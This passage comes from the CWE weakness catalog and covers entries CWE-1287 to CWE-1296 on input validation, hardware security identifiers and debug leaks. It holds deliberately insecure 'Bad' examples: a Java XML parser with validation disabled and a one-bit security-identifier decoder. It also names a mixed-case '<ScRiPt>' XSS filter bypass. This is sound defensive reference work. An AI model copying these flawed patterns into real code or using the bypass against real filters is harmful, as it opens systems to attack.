Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

*Effectiveness = High*

## Demonstrative Examples

### Example 1:

The following code loads and parses an XML file.

*Example Language: Java*

*(Bad)*

```
// Read DOM
try {
    ...
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    factory.setValidating( false );
    ....
    c_dom = factory.newDocumentBuilder().parse( xmlFile );
```



```

} catch(Exception ex) {
    ...
}

```

The XML file is loaded without validating it against a known XML Schema or DTD.

### Observed Examples

Reference	Description
<b>CVE-2016-4029</b>	Chain: incorrect validation of intended decimal-based IP address format (CWE-1286) enables parsing of octal or hexadecimal formats (CWE-1389), allowing bypass of an SSRF protection mechanism (CWE-918). <a href="https://www.cve.org/CVERecord?id=CVE-2016-4029">https://www.cve.org/CVERecord?id=CVE-2016-4029</a>
<b>CVE-2007-5893</b>	HTTP request with missing protocol version number leads to crash <a href="https://www.cve.org/CVERecord?id=CVE-2007-5893">https://www.cve.org/CVERecord?id=CVE-2007-5893</a>

### Notes

#### Maintenance

This entry is still under development and will continue to see updates and content improvements.

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
66	SQL Injection
676	NoSQL Injection

## CWE-1287: Improper Validation of Specified Type of Input

**Weakness ID** : 1287

**Structure** : Simple

**Abstraction** : Base

### Description

The product receives input that is expected to be of a certain type, but it does not validate or incorrectly validates that the input is actually of the expected type.

### Extended Description



When input does not comply with the expected type, attackers could trigger unexpected errors, cause incorrect actions to take place, or exploit latent vulnerabilities that would not be possible if the input conformed with the expected type.

This weakness can appear in type-unsafe programming languages, or in programming languages that support casting or conversion of an input to another type.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	19
PeerOf		843	Access of Resource Using Incompatible Type ('Type Confusion')	1654

### Applicable Platforms

1972

**Language** : Not Language-Specific (*Prevalence = Often*)

### Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

*Effectiveness = High*

### Observed Examples

Reference	Description
<b>CVE-2008-2223</b>	SQL injection through an ID that was supposed to be numeric. <a href="https://www.cve.org/CVERecord?id=CVE-2008-2223">https://www.cve.org/CVERecord?id=CVE-2008-2223</a>

### Notes

#### Maintenance

This entry is still under development and will continue to see updates and content improvements.

## CWE-1288: Improper Validation of Consistency within Input

**Weakness ID** : 1288

**Structure** : Simple

**Abstraction** : Base

### Description

The product receives a complex input with multiple elements or fields that must be consistent with each other, but it does not validate or incorrectly validates that the input is actually consistent.

### Extended Description

Some input data can be structured with multiple elements or fields that must be consistent with each other, e.g. a number-of-items field that is followed by the expected number of elements. When such complex inputs are inconsistent, attackers could trigger unexpected errors, cause incorrect actions to take place, or exploit latent vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	19

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Often*)

### Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

*Effectiveness = High*

### Observed Examples

Reference	Description
<b>CVE-2018-16733</b>	product does not validate that the start block appears before the end block <a href="https://www.cve.org/CVERecord?id=CVE-2018-16733">https://www.cve.org/CVERecord?id=CVE-2018-16733</a>
<b>CVE-2006-3790</b>	size field that is inconsistent with packet size leads to buffer over-read <a href="https://www.cve.org/CVERecord?id=CVE-2006-3790">https://www.cve.org/CVERecord?id=CVE-2006-3790</a>
<b>CVE-2008-4114</b>	system crash with offset value that is inconsistent with packet size <a href="https://www.cve.org/CVERecord?id=CVE-2008-4114">https://www.cve.org/CVERecord?id=CVE-2008-4114</a>

### Notes

#### Maintenance

This entry is still under development and will continue to see updates and content improvements.

## CWE-1289: Improper Validation of Unsafe Equivalence in Input

**Weakness ID** : 1289

**Structure** : Simple

**Abstraction** : Base

### Description

The product receives an input value that is used as a resource identifier or other type of reference, but it does not validate or incorrectly validates that the input is equivalent to a potentially-unsafe value.




### Extended Description

Attackers can sometimes bypass input validation schemes by finding inputs that appear to be safe, but will be dangerous when processed at a lower layer or by a downstream component. For example, a simple XSS protection mechanism might try to validate that an input has no "<script>" tags using case-sensitive matching, but since HTML is case-insensitive when processed by web browsers, an attacker could inject "<ScRiPt>" and trigger XSS.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	19
PeerOf		41	Improper Resolution of Path Equivalence	83
PeerOf		178	Improper Handling of Case Sensitivity	427

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Often*)

### Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

*Effectiveness = High*

### Observed Examples

Reference	Description
<b>CVE-2021-39155</b>	Chain: A microservice integration and management platform compares the hostname in the HTTP Host header in a case-sensitive way (CWE-178, CWE-1289), allowing bypass of the authorization policy (CWE-863) using a hostname with mixed case or other variations.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2021-39155">https://www.cve.org/CVERecord?id=CVE-2021-39155</a>
<b>CVE-2020-11053</b>	Chain: Go-based OAuth2 reverse proxy can send the authenticated user to another site at the end of the authentication flow. A redirect URL with HTML-encoded whitespace characters can bypass the validation (CWE-1289) to redirect to a malicious site (CWE-601)
	<a href="https://www.cve.org/CVERecord?id=CVE-2020-11053">https://www.cve.org/CVERecord?id=CVE-2020-11053</a>
<b>CVE-2005-0269</b>	File extension check in forum software only verifies extensions that contain all lowercase letters, which allows remote attackers to upload arbitrary files via file extensions that include uppercase letters.
	<a href="https://www.cve.org/CVERecord?id=CVE-2005-0269">https://www.cve.org/CVERecord?id=CVE-2005-0269</a>
<b>CVE-2001-1238</b>	Task Manager does not allow local users to end processes with uppercase letters named (1) winlogon.exe, (2) csrss.exe, (3) smss.exe and (4) services.exe via the Process tab which could allow local users to install Trojan horses that cannot be stopped.
	<a href="https://www.cve.org/CVERecord?id=CVE-2001-1238">https://www.cve.org/CVERecord?id=CVE-2001-1238</a>
<b>CVE-2004-2214</b>	HTTP server allows bypass of access restrictions using URIs with mixed case.
	<a href="https://www.cve.org/CVERecord?id=CVE-2004-2214">https://www.cve.org/CVERecord?id=CVE-2004-2214</a>

## Notes

### Maintenance

This entry is still under development and will continue to see updates and content improvements.

## CWE-1290: Incorrect Decoding of Security Identifiers

**Weakness ID** : 1290

**Structure** : Simple

**Abstraction** : Base

### Description

The product implements a decoding mechanism to decode certain bus-transaction signals to security identifiers. If the decoding is implemented incorrectly, then untrusted agents can now gain unauthorized access to the asset.

### Extended Description

In a System-On-Chip (SoC), various integrated circuits and hardware engines generate transactions such as to access (reads/writes) assets or perform certain actions (e.g., reset, fetch, compute, etc.). Among various types of message information, a typical transaction is comprised of source identity (to identify the originator of the transaction) and a destination identity (to route the transaction to the respective entity). Sometimes the transactions are qualified with a security identifier. The security identifier helps the destination agent decide on the set of allowed actions (e.g., access an asset for read and writes). A decoder decodes the bus transactions to map security identifiers into necessary access-controls/protections.

A common weakness that can exist in this scenario is incorrect decoding because an untrusted agent's security identifier is decoded into a trusted agent's security identifier. Thus, an untrusted agent previously without access to an asset can now gain access to the asset.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644

*Relevant to the view "Hardware Design" (CWE-1194)*

Nature	Type	ID	Name	Page
ChildOf	⊕	1294	Insecure Security Identifier Mechanism	1983

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Bus/Interface Hardware (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Modify Memory	High
Integrity	Read Memory	
Availability	DoS: Resource Consumption (Other)	
Access Control	Execute Unauthorized Code or Commands	
	Gain Privileges or Assume Identity	
	Quality Degradation	

### Potential Mitigations

#### Phase: Architecture and Design

Security identifier decoders must be reviewed for design consistency and common weaknesses.

#### Phase: Implementation

Access and programming flows must be tested in pre-silicon and post-silicon testing in order to check for this weakness.

### Demonstrative Examples

#### Example 1:

Consider a system that has four bus masters and a decoder. The decoder is supposed to decode every bus transaction and assign a corresponding security identifier. The security identifier is used to determine accesses to the assets. The bus transaction that contains the security information is Bus\_transaction [15:14], and the bits 15 through 14 contain the security identifier information. The table below provides bus masters as well as their security identifiers and trust assumptions:

The assets are the AES-Key registers for encryption or decryption. The key is 128 bits implemented as a set of four 32-bit registers. The AES\_KEY\_ACCESS\_POLICY is used to define which agents with a security identifier in the transaction can access the AES-key registers. The size of the security identifier is 4 bits (i.e., bit 3 through 0). Each bit in these 4 bits defines a security identifier. There are only 4 security identifiers that are allowed accesses to the AES-key registers. The number of the bit when set (i.e., "1") allows respective action from an agent whose identity matches the number of the bit. If clear (i.e., "0"), disallows the respective action to that corresponding agent.

The following Pseudo code outlines the process of checking the value of the Security Identifier within the AES\_KEY\_ACCESS\_POLICY register:

*Example Language: Other**(Informative)*

```
If (AES_KEY_ACCESS_POLICY[Security_Identifier] == "1")
  Allow access to AES-Key registers
Else
  Deny access to AES-Key registers
```

Below is a decoder's Pseudo code that only checks for bit [14] of the bus transaction to determine what Security Identifier it must assign.

*Example Language: Other**(Bad)*

```
If (Bus_transaction[14] == "1")
  Security_Identifier == "1"
Else
  Security_Identifier == "0"
```

The security identifier is two bits, but the decoder code above only checks the value of one bit. Two Masters have their bit 0 set to "1" - Master\_1 and Master\_3. Master\_1 is trusted, while Master\_3 is not. The code above would therefore allow an untrusted agent, Master\_3, access to the AES-Key registers in addition to intended trusted Master\_1.

The decoder should check for the entire size of the security identifier in the bus-transaction signal to assign a corresponding security identifier. The following is good Pseudo code:

*Example Language: Other**(Good)*

```
If (Bus_transaction[15:14] == "00")
  Security_Identifier == "0"
If (Bus_transaction[15:14] == "01")
  Security_Identifier == "1"
If (Bus_transaction[15:14] == "10")
  Security_Identifier == "2"
If (Bus_transaction[15:14] == "11")
  Security_Identifier == "3"
```

## CWE-1291: Public Key Re-Use for Signing both Debug and Production Code

**Weakness ID** : 1291**Structure** : Simple**Abstraction** : Base

### Description

The same public key is used for signing both debug and production code.

### Extended Description

A common usage of public-key cryptography is to verify the integrity and authenticity of another entity (for example a firmware binary). If a company wants to ensure that its firmware runs only on its own hardware, before the firmware runs, an encrypted hash of the firmware image will be decrypted with the public key and then verified against the now-computed hash of the firmware image. This means that the public key forms the root of trust, which necessitates that the public key itself must be protected and used properly.

During the development phase, debug firmware enables many hardware debug hooks, debug modes, and debug messages for testing. Those debug facilities provide significant, additional views about the firmware's capability and, in some cases, additional capability into the chip or SoC. If compromised, these capabilities could be exploited by an attacker to take full control of the system.



Once the product exits the manufacturing stage and enters production, it is good practice to use a different public key. Debug firmware images are known to leak. With the debug key being reused as the production key, the debug image will also work on the production image. Thus, it will open all the internal, debug capabilities to the attacker.

If a different public key is used for the production image, even if the attacker gains access to the debug firmware image, they will not be able to run it on a production machine. Thus, damage will be limited to the intellectual property leakage resulting from the debug image.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1422
PeerOf	Ⓢ	321	Use of Hard-coded Cryptographic Key	745

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	High
Integrity	Modify Memory	
Availability	Execute Unauthorized Code or Commands	
Access Control	Gain Privileges or Assume Identity	
Accountability	Varies by Context	
Authentication		
Authorization		
Non-Repudiation		
Other		

## Detection Methods

### Architecture or Design Review

Compare the debug key with the production key to make sure that they are not the same.

*Effectiveness = High*

### Dynamic Analysis with Manual Results Interpretation

Compare the debug key with the production key to make sure that they are not the same.

*Effectiveness = High*

## Potential Mitigations

### Phase: Implementation

Use different keys for Production and Debug

## Demonstrative Examples

### Example 1:

This example illustrates the danger of using the same public key for debug and production.

Example Language: Other

(Bad)

Suppose the product design requires frugality of silicon real estate. Assume that originally the architecture allows just enough storage for two 2048-bit RSA keys in the fuse: one to be used for debug and the other for production. However, in the meantime, a business decision is taken to make the security future-proof beyond 2030, which means the architecture needs to use the NIST-recommended 3072-bit keys instead of the originally-planned 2048-bit keys. This means that, at most, one key can be fully stored in the fuses, not two. So the product design team decides to use the same public key for debug and production.

Example Language: Other

(Informative)

Increase the storage so that two different keys of the required size can be stored.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	C	1207	Debug and Test Problems	1194	2267

## CWE-1292: Incorrect Conversion of Security Identifiers

**Weakness ID :** 1292

**Structure :** Simple

**Abstraction :** Base

### Description

The product implements a conversion mechanism to map certain bus-transaction signals to security identifiers. However, if the conversion is incorrectly implemented, untrusted agents can gain unauthorized access to the asset.

### Extended Description

In a System-On-Chip (SoC), various integrated circuits and hardware engines generate transactions such as to access (reads/writes) assets or perform certain actions (e.g., reset, fetch, compute, etc.). Among various types of message information, a typical transaction is comprised of source identity (to identify the originator of the transaction) and a destination identity (to route the transaction to the respective entity). Sometimes the transactions are qualified with a security identifier. This security identifier helps the destination agent decide on the set of allowed actions (e.g., access an asset for read and writes).

A typical bus connects several leader and follower agents. Some follower agents implement bus protocols differently from leader agents. A protocol conversion happens at a bridge to seamlessly connect different protocols on the bus. One example is a system that implements a leader with the Advanced High-performance Bus (AHB) protocol and a follower with the Open-Core Protocol (OCP). A bridge AHB-to-OCP is needed to translate the transaction from one form to the other.

A common weakness that can exist in this scenario is that this conversion between protocols is implemented incorrectly, whereupon an untrusted agent may gain unauthorized access to an asset.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644

*Relevant to the view "Hardware Design" (CWE-1194)*

Nature	Type	ID	Name	Page
ChildOf	⊕	1294	Insecure Security Identifier Mechanism	1983

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Bus/Interface Hardware (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Modify Memory	High
Integrity	Read Memory	
Availability	DoS: Resource Consumption (Other)	
Access Control	Execute Unauthorized Code or Commands	
	Gain Privileges or Assume Identity	
	Quality Degradation	

### Potential Mitigations

#### Phase: Architecture and Design

Security identifier decoders must be reviewed for design inconsistency and common weaknesses.

#### Phase: Implementation

Access and programming flows must be tested in pre-silicon and post-silicon testing.

### Demonstrative Examples

#### Example 1:

Consider a system that supports AHB. Let us assume we have a follower agent that only understands OCP. To connect this follower to the leader, a bridge is introduced, i.e., AHB to OCP.

The follower has assets to protect accesses from untrusted leaders, and it employs access controls based on policy, (e.g., AES-Key registers for encryption or decryption). The key is 128 bits implemented as a set of four 32-bit registers. The key registers are assets, and register AES\_KEY\_ACCESS\_POLICY is defined to provide the necessary access controls.

The AES\_KEY\_ACCESS\_POLICY access-policy register defines which agents with a security identifier in the transaction can access the AES-key registers. The implemented AES\_KEY\_ACCESS\_POLICY has 4 bits where each bit when "Set" allows access to the AES-Key registers to the corresponding agent that has the security identifier. The other bits from 31 through 4 are reserved and not used.

During conversion of the AHB-to-OCP transaction, the security identifier information must be preserved and passed on to the follower correctly.

*Example Language: Other*

*(Bad)*

In AHB-to-OCP bridge, the security identifier information conversion is done incorrectly.

Because of the incorrect conversion, the security identifier information is either lost or could be modified in such a way that an untrusted leader can access the AES-Key registers.

*Example Language: Other*

*(Good)*

The conversion of the signals from one protocol (AHB) to another (OCP) must be done while preserving the security identifier correctly.

## CWE-1293: Missing Source Correlation of Multiple Independent Data

**Weakness ID** : 1293

**Structure** : Simple

**Abstraction** : Base

### Description

The product relies on one source of data, preventing the ability to detect if an adversary has compromised a data source.

### Extended Description

To operate successfully, a product sometimes has to implicitly trust the integrity of an information source. When information is implicitly signed, one can ensure that the data was not tampered in transit. This does not ensure that the information source was not compromised when responding to a request. By requesting information from multiple sources, one can check if all of the data is the same. If they are not, the system should report the information sources that respond with a different or minority value as potentially compromised. If there are not enough answers to provide a majority or plurality of responses, the system should report all of the sources as potentially compromised. As the seriousness of the impact of incorrect integrity increases, so should the number of independent information sources that would need to be queried.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		345	Insufficient Verification of Data Authenticity	805
PeerOf		654	Reliance on a Single Factor in a Security Decision	1355

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data Modify Application Data Gain Privileges or Assume Identity	
	<i>An attacker that may be able to execute a single Person-in-the-Middle attack can subvert a check of an external oracle (e.g. the ACME protocol check for a file on a website), and thus inject an arbitrary reply to the single perspective request to the external oracle.</i>	

### Potential Mitigations

#### Phase: Requirements

Design system to use a Practical Byzantine fault method, to request information from multiple sources to verify the data and report on potentially compromised information sources.

#### Phase: Implementation

Failure to use a Practical Byzantine fault method when requesting data. Lack of place to report potentially compromised information sources. Relying on non-independent information sources for integrity checking. Failure to report information sources that respond in the minority to incident response procedures.

### References

[REF-1125]moparisthebest. "Validation Vulnerabilities". 2015 June 5. < [https://mailarchive.ietf.org/arch/msg/acme/s6Q5PdJP48LEUwgzrVuw\\_XPKCsM/](https://mailarchive.ietf.org/arch/msg/acme/s6Q5PdJP48LEUwgzrVuw_XPKCsM/) >.

[REF-1126]Josh Aas, Daniel McCarney and Roland Shoemaker. "Multi-Perspective Validation Improves Domain Validation Security". 2020 February 9. < <https://letsencrypt.org/2020/02/19/multi-perspective-validation.html> >.

[REF-1127]Miguel Castro and Barbara Liskov. "Practical Byzantine Fault Tolerance and Proactive Recovery". 2002 November 4. < <https://dl.acm.org/doi/pdf/10.1145/571637.571640> >.

## CWE-1294: Insecure Security Identifier Mechanism

**Weakness ID** : 1294

**Structure** : Simple

**Abstraction** : Class

### Description

The System-on-Chip (SoC) implements a Security Identifier mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. However, the Security Identifiers are not correctly implemented.

### Extended Description

Systems-On-Chip (Integrated circuits and hardware engines) implement Security Identifiers to differentiate/identify actions originated from various agents. These actions could be 'read', 'write', 'program', 'reset', 'fetch', 'compute', etc. Security identifiers are generated and assigned to every agent in the System (SoC) that is either capable of generating an action or receiving an action from another agent. Every agent could be assigned a unique, Security Identifier based on its trust level or privileges.

A broad class of flaws can exist in the Security Identifier process, including but not limited to missing security identifiers, improper conversion of security identifiers, incorrect generation of security identifiers, etc.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644
ParentOf	B	1302	Missing Security Identifier	2001

*Relevant to the view "Hardware Design" (CWE-1194)*

Nature	Type	ID	Name	Page
ParentOf	B	1259	Improper Restriction of Security Token Assignment	1913
ParentOf	B	1270	Generation of Incorrect Security Tokens	1938
ParentOf	B	1290	Incorrect Decoding of Security Identifiers	1976
ParentOf	B	1292	Incorrect Conversion of Security Identifiers	1980

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Bus/Interface Hardware (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Modify Memory	High
Integrity	Read Memory	
Availability	DoS: Resource Consumption (Other)	
Access Control	Execute Unauthorized Code or Commands	
	Gain Privileges or Assume Identity	
	Quality Degradation	

## Potential Mitigations

### Phase: Architecture and Design

Security Identifier Decoders must be reviewed for design inconsistency and common weaknesses.

### Phase: Implementation

Access and programming flows must be tested in pre-silicon and post-silicon testing.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1198	Privilege Separation and Access Control Issues	1194	2263

## Notes

### Maintenance

This entry is still under development and will continue to see updates and content improvements.

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
121	Exploit Non-Production Interfaces
681	Exploitation of Improperly Controlled Hardware Security Identifiers

## CWE-1295: Debug Messages Revealing Unnecessary Information

**Weakness ID** : 1295**Structure** : Simple**Abstraction** : Base

### Description

The product fails to adequately prevent the revealing of unnecessary and potentially sensitive system information within debugging messages.



### Extended Description

Debug messages are messages that help troubleshoot an issue by revealing the internal state of the system. For example, debug data in design can be exposed through internal memory array dumps or boot logs through interfaces like UART via TAP commands, scan chain, etc. Thus, the more information contained in a debug message, the easier it is to debug. However, there is also the risk of revealing information that could help an attacker either decipher a vulnerability, and/or gain a better understanding of the system. Thus, this extra information could lower the "security by obscurity" factor. While "security by obscurity" alone is insufficient, it can help as a part of "Defense-in-depth".

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		200	Exposure of Sensitive Information to an Unauthorized Actor	484
PeerOf		209	Generation of Error Message Containing Sensitive Information	510

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	Medium
Integrity	Bypass Protection Mechanism	
Availability	Gain Privileges or Assume Identity	
Access Control	Varies by Context	
Accountability		
Authentication		
Authorization		



Scope	Impact	Likelihood
Non-Repudiation		

### Potential Mitigations

#### Phase: Implementation

Ensure that a debug message does not reveal any unnecessary information during the debug process for the intended response.

### Demonstrative Examples

#### Example 1:

This example here shows how an attacker can take advantage of unnecessary information in debug messages.

Example 1: Suppose in response to a Test Access Port (TAP) chaining request the debug message also reveals the current TAP hierarchy (the full topology) in addition to the success/failure message.

Example 2: In response to a password-filling request, the debug message, instead of a simple Granted/Denied response, prints an elaborate message, "The user-entered password does not match the actual password stored in <directory name>."

The result of the above examples is that the user is able to gather additional unauthorized information about the system from the debug messages.


The solution is to ensure that Debug messages do not reveal additional details.

### Observed Examples

Reference	Description
<b>CVE-2017-18326</b>	modem debug messages include cryptographic keys <a href="https://www.cve.org/CVERecord?id=CVE-2017-18326">https://www.cve.org/CVERecord?id=CVE-2017-18326</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1207	Debug and Test Problems	1194	2267

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
121	Exploit Non-Production Interfaces

### References

[REF-1112]"Android Security Bulletin - December 2018". < <https://source.android.com/security/bulletin/2018-12-01.html> >.

## CWE-1296: Incorrect Chaining or Granularity of Debug Components

**Weakness ID** : 1296

**Structure** : Simple

**Abstraction** : Base

### Description

The product's debug components contain incorrect chaining or granularity of debug components.

### Extended Description

For debugging and troubleshooting a chip, several hardware design elements are often implemented, including:

- Various Test Access Ports (TAPs) allow boundary scan commands to be executed.
- For scanning the internal components of a chip, there are scan cells that allow the chip to be used as a "stimulus and response" mechanism.
- Chipmakers might create custom methods to observe the internal components of their chips by placing various tracing hubs within their chip and creating hierarchical or interconnected structures among those hubs.

Logic errors during design or synthesis could misconfigure the interconnection of the debug components, which could allow unintended access permissions.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644

## Applicable Platforms

**Language** : Verilog (*Prevalence = Undetermined*)

**Language** : VHDL (*Prevalence = Undetermined*)

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

